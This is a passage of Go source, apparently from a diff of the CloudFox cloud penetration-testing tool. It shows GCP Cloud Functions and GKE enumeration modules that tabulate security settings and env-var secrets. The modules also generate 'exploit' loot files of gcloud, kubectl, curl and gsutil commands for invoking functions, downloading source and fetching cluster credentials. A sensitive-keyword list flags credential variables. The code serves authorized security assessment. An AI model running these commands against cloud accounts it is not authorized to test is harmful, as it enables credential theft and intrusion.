ProjectFunctions map[string][]FunctionsService.FunctionInfo // projectID -> functions
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type FunctionsOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o FunctionsOutput) TableFiles() []internal.TableFile { return o.Table }
func (o FunctionsOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPFunctionsCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_FUNCTIONS_MODULE_NAME)
if err != nil {
return
}
module := &FunctionsModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectFunctions: make(map[string][]FunctionsService.FunctionInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *FunctionsModule) Execute(ctx context.Context, logger internal.Logger) {
// Try to get FoxMapper cache (preferred - graph-based analysis)
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_FUNCTIONS_MODULE_NAME)
}
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_FUNCTIONS_MODULE_NAME, m.processProject)
// Get all functions for stats
allFunctions := m.getAllFunctions()
if len(allFunctions) == 0 {
logger.InfoM("No Cloud Functions found", globals.GCP_FUNCTIONS_MODULE_NAME)
return
}
// Count public functions
publicCount := 0
for _, fn := range allFunctions {
if fn.IsPublic {
publicCount++
}
}
if publicCount > 0 {
logger.SuccessM(fmt.Sprintf("Found %d function(s), %d PUBLIC", len(allFunctions), publicCount), globals.GCP_FUNCTIONS_MODULE_NAME)
} else {
logger.SuccessM(fmt.Sprintf("Found %d function(s)", len(allFunctions)), globals.GCP_FUNCTIONS_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
// getAllFunctions returns all functions from all projects (for statistics)
func (m *FunctionsModule) getAllFunctions() []FunctionsService.FunctionInfo {
var all []FunctionsService.FunctionInfo
for _, functions := range m.ProjectFunctions {
all = append(all, functions...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *FunctionsModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Cloud Functions in project: %s", projectID), globals.GCP_FUNCTIONS_MODULE_NAME)
}
fs := FunctionsService.New()
functions, err := fs.Functions(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_FUNCTIONS_MODULE_NAME,
fmt.Sprintf("Could not enumerate functions in project %s", projectID))
return
}
// Thread-safe store per-project
m.mu.Lock()
m.ProjectFunctions[projectID] = functions
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["functions-commands"] = &internal.LootFile{
Name: "functions-commands",
Contents: "# GCP Cloud Functions Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[projectID]["functions-secrets"] = &internal.LootFile{
Name: "functions-secrets",
Contents: "# Cloud Functions Secret References\n# Generated by CloudFox\n# Secrets used by functions (names only)\n\n",
}
}
for _, fn := range functions {
m.addFunctionToLoot(projectID, fn)
}
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d function(s) in project %s", len(functions), projectID), globals.GCP_FUNCTIONS_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *FunctionsModule) addFunctionToLoot(projectID string, fn FunctionsService.FunctionInfo) {
commandsLoot := m.LootMap[projectID]["functions-commands"]
secretsLoot := m.LootMap[projectID]["functions-secrets"]
if commandsLoot == nil {
return
}
// All commands for this function
commandsLoot.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# FUNCTION: %s\n"+
"# =============================================================================\n"+
"# Project: %s, Region: %s\n"+
"# Runtime: %s, Trigger: %s\n"+
"# Service Account: %s\n"+
"# Public: %v, Ingress: %s\n",
fn.Name,
fn.ProjectID, fn.Region,
fn.Runtime, fn.TriggerType,
fn.ServiceAccount,
fn.IsPublic, fn.IngressSettings,
)
if fn.TriggerURL != "" {
commandsLoot.Contents += fmt.Sprintf("# URL: %s\n", fn.TriggerURL)
}
if fn.SourceLocation != "" {
commandsLoot.Contents += fmt.Sprintf("# Source: %s (%s)\n", fn.SourceLocation, fn.SourceType)
}
commandsLoot.Contents += fmt.Sprintf(
"\n# === ENUMERATION COMMANDS ===\n\n"+
"# Describe function:\n"+
"gcloud functions describe %s --region=%s --project=%s --gen2\n"+
"# Get IAM policy:\n"+
"gcloud functions get-iam-policy %s --region=%s --project=%s --gen2\n"+
"# Read logs:\n"+
"gcloud functions logs read %s --region=%s --project=%s --gen2 --limit=50\n",
fn.Name, fn.Region, fn.ProjectID,
fn.Name, fn.Region, fn.ProjectID,
fn.Name, fn.Region, fn.ProjectID,
)
// HTTP invocation commands
commandsLoot.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
if fn.TriggerType == "HTTP" && fn.TriggerURL != "" {
commandsLoot.Contents += fmt.Sprintf(
"# Invoke (GET):\n"+
"curl -s '%s'\n"+
"# Invoke (POST with auth):\n"+
"curl -s -X POST '%s' \\\n"+
" -H 'Authorization: Bearer $(gcloud auth print-identity-token)' \\\n"+
" -H 'Content-Type: application/json' \\\n"+
" -d '{\"test\": \"data\"}'\n",
fn.TriggerURL,
fn.TriggerURL,
)
}
// Source download command
if fn.SourceType == "GCS" && fn.SourceLocation != "" {
commandsLoot.Contents += fmt.Sprintf(
"# Download source:\n"+
"gsutil cp %s ./function-source-%s.zip\n",
fn.SourceLocation, fn.Name,
)
}
commandsLoot.Contents += "\n"
// Secret references
if (len(fn.SecretEnvVarNames) > 0 || len(fn.SecretVolumeNames) > 0) && secretsLoot != nil {
secretsLoot.Contents += fmt.Sprintf(
"## Function: %s (Project: %s)\n",
fn.Name, fn.ProjectID,
)
if len(fn.SecretEnvVarNames) > 0 {
secretsLoot.Contents += "## Secret Environment Variables:\n"
for _, secretName := range fn.SecretEnvVarNames {
secretsLoot.Contents += fmt.Sprintf("## - %s\n", secretName)
}
}
if len(fn.SecretVolumeNames) > 0 {
secretsLoot.Contents += "## Secret Volumes:\n"
for _, volName := range fn.SecretVolumeNames {
secretsLoot.Contents += fmt.Sprintf("## - %s\n", volName)
}
}
secretsLoot.Contents += "\n"
}
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *FunctionsModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// writeHierarchicalOutput writes output to per-project directories
func (m *FunctionsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
// Build hierarchical output data
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Build project-level outputs
for projectID, functions := range m.ProjectFunctions {
tables := m.buildTablesForProject(projectID, functions)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = FunctionsOutput{Table: tables, Loot: lootFiles}
}
// Create path builder using the module's hierarchy
pathBuilder := m.BuildPathBuilder()
// Write using hierarchical output
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_FUNCTIONS_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *FunctionsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allFunctions := m.getAllFunctions()
tables := m.buildTablesForProject("", allFunctions)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
lootFiles = append(lootFiles, *loot)
}
}
}
output := FunctionsOutput{
Table: tables,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_FUNCTIONS_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// isEmptyLootFile checks if a loot file contains only the header
func isEmptyLootFile(contents string) bool {
return strings.HasSuffix(contents, "# WARNING: Only use with proper authorization\n\n") ||
strings.HasSuffix(contents, "# Secrets used by functions (names only)\n\n") ||
strings.HasSuffix(contents, "# Generated by CloudFox\n\n")
}
// buildTablesForProject builds all tables for a given project's functions
func (m *FunctionsModule) buildTablesForProject(projectID string, functions []FunctionsService.FunctionInfo) []internal.TableFile {
tableFiles := []internal.TableFile{}
// Main functions table
body := m.functionsToTableBody(functions)
if len(body) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_FUNCTIONS_MODULE_NAME,
Header: m.getTableHeader(),
Body: body,
})
}
// Secrets table (env vars and secret refs - matching Cloud Run format)
secretsHeader := []string{
"Project", "Name", "Region", "Env Var", "Value/Type", "Source", "Sensitive",
}
var secretsBody [][]string
for _, fn := range functions {
// Add environment variables from EnvVars (has actual values)
for _, env := range fn.EnvVars {
sensitive := isFunctionSensitiveEnvVar(env.Name)
if env.Source == "direct" {
secretsBody = append(secretsBody, []string{
m.GetProjectName(fn.ProjectID),
fn.Name,
fn.Region,
env.Name,
env.Value,
"EnvVar",
sensitive,
})
} else {
// Secret Manager reference
secretsBody = append(secretsBody, []string{
m.GetProjectName(fn.ProjectID),
fn.Name,
fn.Region,
env.Name,
fmt.Sprintf("%s:%s", env.SecretName, env.SecretVersion),
"SecretManager",
"Yes",
})
}
}
// Add secret volumes
for _, volName := range fn.SecretVolumeNames {
secretsBody = append(secretsBody, []string{
m.GetProjectName(fn.ProjectID),
fn.Name,
fn.Region,
volName + " (volume)",
volName,
"SecretManager",
"Yes",
})
}
}
if len(secretsBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_FUNCTIONS_MODULE_NAME + "-secrets",
Header: secretsHeader,
Body: secretsBody,
})
}
return tableFiles
}
// isFunctionSensitiveEnvVar checks if an environment variable name indicates sensitive data
func isFunctionSensitiveEnvVar(envName string) string {
envNameUpper := strings.ToUpper(envName)
sensitivePatterns := []string{
"PASSWORD", "PASSWD", "SECRET", "API_KEY", "APIKEY", "API-KEY",
"TOKEN", "ACCESS_TOKEN", "AUTH_TOKEN", "BEARER", "CREDENTIAL",
"PRIVATE_KEY", "PRIVATEKEY", "CONNECTION_STRING", "CONN_STR",
"DATABASE_URL", "DB_PASSWORD", "DB_PASS", "MYSQL_PASSWORD",
"POSTGRES_PASSWORD", "REDIS_PASSWORD", "MONGODB_URI",
"AWS_ACCESS_KEY", "AWS_SECRET", "AZURE_KEY", "GCP_KEY",
"ENCRYPTION_KEY", "SIGNING_KEY", "JWT_SECRET", "SESSION_SECRET",
"OAUTH", "CLIENT_SECRET",
}
for _, pattern := range sensitivePatterns {
if strings.Contains(envNameUpper, pattern) {
return "Yes"
}
}
return "No"
}
// getTableHeader returns the functions table header
func (m *FunctionsModule) getTableHeader() []string {
return []string{
"Project",
"Name",
"Region",
"Runtime",
"State",
"Trigger",
"URL",
"Ingress",
"Public",
"Service Account",
"SA Attack Paths",
"Default SA",
"VPC Access",
"IAM Binding Role",
"IAM Binding Principal",
}
}
// functionsToTableBody converts functions to table body rows
func (m *FunctionsModule) functionsToTableBody(functions []FunctionsService.FunctionInfo) [][]string {
var body [][]string
for _, fn := range functions {
// Format trigger info
triggerInfo := fn.TriggerType
if fn.TriggerEventType != "" {
triggerInfo = fmt.Sprintf("%s (%s)", fn.TriggerType, extractFunctionName(fn.TriggerEventType))
}
// Format URL
url := "-"
if fn.TriggerURL != "" {
url = fn.TriggerURL
}
// Format state
state := fn.State
if state == "" {
state = "-"
}
// Format VPC access (renamed from VPC Connector for consistency with Cloud Run)
vpcAccess := "-"
if fn.VPCConnector != "" {
vpcAccess = extractFunctionName(fn.VPCConnector)
if fn.VPCEgressSettings != "" {
vpcAccess += fmt.Sprintf(" (%s)", strings.TrimPrefix(fn.VPCEgressSettings, "VPC_EGRESS_"))
}
}
// Format service account
serviceAccount := fn.ServiceAccount
if serviceAccount == "" {
serviceAccount = "-"
}
// Check if using default service account
defaultSA := "No"
if strings.Contains(serviceAccount, "@appspot.gserviceaccount.com") ||
strings.Contains(serviceAccount, "[email protected]") {
defaultSA = "Yes"
}
// Check attack paths (privesc/exfil/lateral) for the service account
attackPaths := "run foxmapper"
if serviceAccount != "-" {
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, serviceAccount)
} else if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
attackPaths = "No SA"
}
// Format ingress for display (consistent with Cloud Run)
ingress := formatFunctionIngress(fn.IngressSettings)
// If function has IAM bindings, create one row per binding (shows IAM Binding Role/Principal)
if len(fn.IAMBindings) > 0 {
for _, binding := range fn.IAMBindings {
body = append(body, []string{
m.GetProjectName(fn.ProjectID),
fn.Name,
fn.Region,
fn.Runtime,
state,
triggerInfo,
url,
ingress,
shared.BoolToYesNo(fn.IsPublic),
serviceAccount,
attackPaths,
defaultSA,
vpcAccess,
binding.Role,
binding.Member,
})
}
} else {
// Function has no IAM bindings - single row
body = append(body, []string{
m.GetProjectName(fn.ProjectID),
fn.Name,
fn.Region,
fn.Runtime,
state,
triggerInfo,
url,
ingress,
shared.BoolToYesNo(fn.IsPublic),
serviceAccount,
attackPaths,
defaultSA,
vpcAccess,
"-",
"-",
})
}
}
return body
}
// formatFunctionIngress formats ingress settings for display (consistent with Cloud Run)
func formatFunctionIngress(ingress string) string {
switch ingress {
case "ALLOW_ALL":
return "ALL (Public)"
case "ALLOW_INTERNAL_ONLY":
return "INTERNAL"
case "ALLOW_INTERNAL_AND_GCLB":
return "INT+LB"
default:
return ingress
}
}
// extractFunctionName extracts just the name from a resource path
func extractFunctionName(fullName string) string {
parts := strings.Split(fullName, "/")
if len(parts) > 0 {
return parts[len(parts)-1]
}
return fullName
}
+482
View File
@@ -0,0 +1,482 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
"github.com/BishopFox/cloudfox/gcp/shared"
GKEService "github.com/BishopFox/cloudfox/gcp/services/gkeService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPGKECommand = &cobra.Command{
Use: globals.GCP_GKE_MODULE_NAME,
Aliases: []string{"kubernetes", "k8s", "clusters"},
Short: "Enumerate GKE clusters with security analysis",
Long: `Enumerate GKE clusters across projects with comprehensive security analysis.
Features:
- Lists all GKE clusters accessible to the authenticated user
- Analyzes security configuration (private clusters, authorized networks, RBAC)
- Identifies clusters with public API endpoints
- Shows workload identity configuration
- Detects common misconfigurations (legacy ABAC, basic auth, no network policy)
- Enumerates node pools with service accounts and OAuth scopes
- Shows Binary Authorization status
- Shows GKE Autopilot vs Standard mode
- Shows Config Connector and Istio/ASM status
- Shows maintenance window and exclusions
- Generates kubectl and gcloud commands for further analysis
Security Columns:
- Private: Whether the cluster uses private nodes (no public IPs)
- MasterAuth: Master authorized networks enabled
- NetworkPolicy: Kubernetes network policy controller enabled
- WorkloadIdentity: GKE Workload Identity configured
- ShieldedNodes: Shielded GKE nodes enabled
- BinAuth: Binary Authorization enabled
- Autopilot: GKE Autopilot mode (vs Standard)
- Issues: Detected security misconfigurations
Attack Surface:
- Public API servers are accessible from the internet
- Clusters without Workload Identity use node service accounts
- Default service accounts may have excessive permissions
- Legacy ABAC allows broader access than RBAC
- Autopilot clusters have reduced attack surface
- Binary Authorization prevents untrusted container images
TIP: Run 'workload-identity' to enumerate K8s SA -> GCP SA bindings and Workload Identity Federation (external identity pools/providers).`,
Run: runGCPGKECommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type GKEModule struct {
gcpinternal.BaseGCPModule
// Module-specific fields - per-project for hierarchical output
ProjectClusters map[string][]GKEService.ClusterInfo // projectID -> clusters
ProjectNodePools map[string][]GKEService.NodePoolInfo // projectID -> node pools
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type GKEOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o GKEOutput) TableFiles() []internal.TableFile { return o.Table }
func (o GKEOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPGKECommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_GKE_MODULE_NAME)
if err != nil {
return
}
module := &GKEModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectClusters: make(map[string][]GKEService.ClusterInfo),
ProjectNodePools: make(map[string][]GKEService.NodePoolInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *GKEModule) Execute(ctx context.Context, logger internal.Logger) {
// Try to get FoxMapper cache (preferred - graph-based analysis)
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_GKE_MODULE_NAME)
}
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_GKE_MODULE_NAME, m.processProject)
// Get all clusters for stats
allClusters := m.getAllClusters()
allNodePools := m.getAllNodePools()
if len(allClusters) == 0 {
logger.InfoM("No GKE clusters found", globals.GCP_GKE_MODULE_NAME)
return
}
// Count public clusters
publicCount := 0
for _, cluster := range allClusters {
if !cluster.PrivateCluster && !cluster.MasterAuthorizedOnly {
publicCount++
}
}
msg := fmt.Sprintf("Found %d cluster(s), %d node pool(s)", len(allClusters), len(allNodePools))
if publicCount > 0 {
msg += fmt.Sprintf(" [%d with public API endpoint]", publicCount)
}
logger.SuccessM(msg, globals.GCP_GKE_MODULE_NAME)
m.writeOutput(ctx, logger)
}
// getAllClusters returns all clusters from all projects (for statistics)
func (m *GKEModule) getAllClusters() []GKEService.ClusterInfo {
var all []GKEService.ClusterInfo
for _, clusters := range m.ProjectClusters {
all = append(all, clusters...)
}
return all
}
// getAllNodePools returns all node pools from all projects (for statistics)
func (m *GKEModule) getAllNodePools() []GKEService.NodePoolInfo {
var all []GKEService.NodePoolInfo
for _, nodePools := range m.ProjectNodePools {
all = append(all, nodePools...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *GKEModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating GKE clusters in project: %s", projectID), globals.GCP_GKE_MODULE_NAME)
}
gs := GKEService.New()
clusters, nodePools, err := gs.Clusters(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_GKE_MODULE_NAME,
fmt.Sprintf("Could not enumerate GKE clusters in project %s", projectID))
return
}
// Thread-safe store per-project
m.mu.Lock()
m.ProjectClusters[projectID] = clusters
m.ProjectNodePools[projectID] = nodePools
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["gke-commands"] = &internal.LootFile{
Name: "gke-commands",
Contents: "# GKE Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
for _, cluster := range clusters {
m.addClusterToLoot(projectID, cluster)
}
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d cluster(s) in project %s", len(clusters), projectID), globals.GCP_GKE_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *GKEModule) addClusterToLoot(projectID string, cluster GKEService.ClusterInfo) {
lootFile := m.LootMap[projectID]["gke-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# CLUSTER: %s\n"+
"# =============================================================================\n"+
"# Project: %s, Location: %s\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Get detailed cluster configuration and settings\n"+
"gcloud container clusters describe %s --location=%s --project=%s\n\n"+
"# Configure kubectl to authenticate to this cluster\n"+
"gcloud container clusters get-credentials %s --location=%s --project=%s\n\n"+
"# List all node pools in this cluster\n"+
"gcloud container node-pools list --cluster=%s --location=%s --project=%s\n\n"+
"# kubectl commands (after getting credentials):\n\n"+
"# Show cluster endpoint and services info\n"+
"kubectl cluster-info\n\n"+
"# List all nodes with additional details (IP, OS, runtime)\n"+
"kubectl get nodes -o wide\n\n"+
"# List all namespaces in the cluster\n"+
"kubectl get namespaces\n\n"+
"# === EXPLOIT COMMANDS ===\n\n"+
"# Check what actions you can perform in the cluster\n"+
"kubectl auth can-i --list\n\n",
cluster.Name,
cluster.ProjectID, cluster.Location,
cluster.Name, cluster.Location, cluster.ProjectID,
cluster.Name, cluster.Location, cluster.ProjectID,
cluster.Name, cluster.Location, cluster.ProjectID,
)
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *GKEModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// writeHierarchicalOutput writes output to per-project directories
func (m *GKEModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
// Build hierarchical output data
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Collect all project IDs that have data
projectsWithData := make(map[string]bool)
for projectID := range m.ProjectClusters {
projectsWithData[projectID] = true
}
// Build project-level outputs
for projectID := range projectsWithData {
clusters := m.ProjectClusters[projectID]
nodePools := m.ProjectNodePools[projectID]
tables := m.buildTablesForProject(clusters, nodePools)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = GKEOutput{Table: tables, Loot: lootFiles}
}
// Create path builder using the module's hierarchy
pathBuilder := m.BuildPathBuilder()
// Write using hierarchical output
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_GKE_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *GKEModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allClusters := m.getAllClusters()
allNodePools := m.getAllNodePools()
tables := m.buildTablesForProject(allClusters, allNodePools)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := GKEOutput{
Table: tables,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_GKE_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// buildTablesForProject builds all tables for given clusters and node pools
func (m *GKEModule) buildTablesForProject(clusters []GKEService.ClusterInfo, nodePools []GKEService.NodePoolInfo) []internal.TableFile {
tableFiles := []internal.TableFile{}
// Clusters table - columns grouped by: identity, network/access, cluster-level security
clusterHeader := []string{
"Project", "Name", "Location", "Mode", "Status", "Version", "Release Channel",
"Endpoint", "Private", "Authorized CIDRs",
"WorkloadID", "NetPolicy", "BinAuth",
}
var clusterBody [][]string
for _, cluster := range clusters {
clusterMode := "Standard"
if cluster.Autopilot {
clusterMode = "Autopilot"
}
releaseChannel := cluster.ReleaseChannel
if releaseChannel == "" || releaseChannel == "UNSPECIFIED" {
releaseChannel = "-"
}
endpoint := cluster.Endpoint
if endpoint == "" {
endpoint = "-"
}
// Format authorized CIDRs
authorizedCIDRs := formatAuthorizedCIDRs(cluster)
clusterBody = append(clusterBody, []string{
m.GetProjectName(cluster.ProjectID), cluster.Name, cluster.Location,
clusterMode, cluster.Status, cluster.CurrentMasterVersion, releaseChannel,
endpoint, shared.BoolToYesNo(cluster.PrivateCluster), authorizedCIDRs,
shared.BoolToYesNo(cluster.WorkloadIdentity != ""), shared.BoolToYesNo(cluster.NetworkPolicy),
shared.BoolToYesNo(cluster.BinaryAuthorization),
})
}
if len(clusterBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "gke-clusters",
Header: clusterHeader,
Body: clusterBody,
})
}
// Node pools table - node-level details including hardware security (like instances module)
nodePoolHeader := []string{
"Project", "Cluster", "Node Pool", "Machine Type", "Node Count",
"Auto Upgrade", "Secure Boot", "Integrity", "Preemptible",
"Service Account", "SA Attack Paths", "SA Scopes", "SA Scope Summary",
}
var nodePoolBody [][]string
for _, np := range nodePools {
saDisplay := np.ServiceAccount
if saDisplay == "" {
saDisplay = "-"
}
// Check attack paths (privesc/exfil/lateral) for the service account
attackPaths := "run foxmapper"
if saDisplay != "-" {
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, saDisplay)
} else if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
attackPaths = "No SA"
}
// Format actual scopes for display
scopes := formatGKEScopes(np.OAuthScopes)
// Get scope summary, default to "Unknown" if empty
scopeSummary := np.ScopeSummary
if scopeSummary == "" {
scopeSummary = "Unknown"
}
nodePoolBody = append(nodePoolBody, []string{
m.GetProjectName(np.ProjectID), np.ClusterName, np.Name,
np.MachineType, fmt.Sprintf("%d", np.NodeCount),
shared.BoolToYesNo(np.AutoUpgrade),
shared.BoolToYesNo(np.SecureBoot), shared.BoolToYesNo(np.IntegrityMonitoring),
shared.BoolToYesNo(np.Preemptible || np.Spot),
saDisplay, attackPaths, scopes, scopeSummary,
})
}
if len(nodePoolBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "gke-node-pools",
Header: nodePoolHeader,
Body: nodePoolBody,
})
}
return tableFiles
}
// formatAuthorizedCIDRs formats the authorized CIDRs for display
func formatAuthorizedCIDRs(cluster GKEService.ClusterInfo) string {
if cluster.PrivateCluster {
return "Private endpoint"
}
if !cluster.MasterAuthorizedOnly {
return "0.0.0.0/0 (any)"
}
if len(cluster.MasterAuthorizedCIDRs) == 0 {
return "None configured"
}
// Check if 0.0.0.0/0 is in the list (effectively public)
for _, cidr := range cluster.MasterAuthorizedCIDRs {
if cidr == "0.0.0.0/0" {
return "0.0.0.0/0 (any)"
}
}
// Show all CIDRs
return strings.Join(cluster.MasterAuthorizedCIDRs, ", ")
}
// formatGKEScopes formats OAuth scopes for display (extracts short names from URLs)
func formatGKEScopes(scopes []string) string {
if len(scopes) == 0 {
return "-"
}
var shortScopes []string
for _, scope := range scopes {
// Extract the scope name from the URL
// e.g., "https://www.googleapis.com/auth/cloud-platform" -> "cloud-platform"
parts := strings.Split(scope, "/")
if len(parts) > 0 {
shortScopes = append(shortScopes, parts[len(parts)-1])
}
}
return strings.Join(shortScopes, ", ")
}
+966
View File
@@ -0,0 +1,966 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
iampb "cloud.google.com/go/iam/apiv1/iampb"
resourcemanager "cloud.google.com/go/resourcemanager/apiv3"
resourcemanagerpb "cloud.google.com/go/resourcemanager/apiv3/resourcemanagerpb"
foxmapperservice "github.com/BishopFox/cloudfox/gcp/services/foxmapperService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
crmv1 "google.golang.org/api/cloudresourcemanager/v1"
"google.golang.org/api/iam/v1"
"google.golang.org/api/iterator"
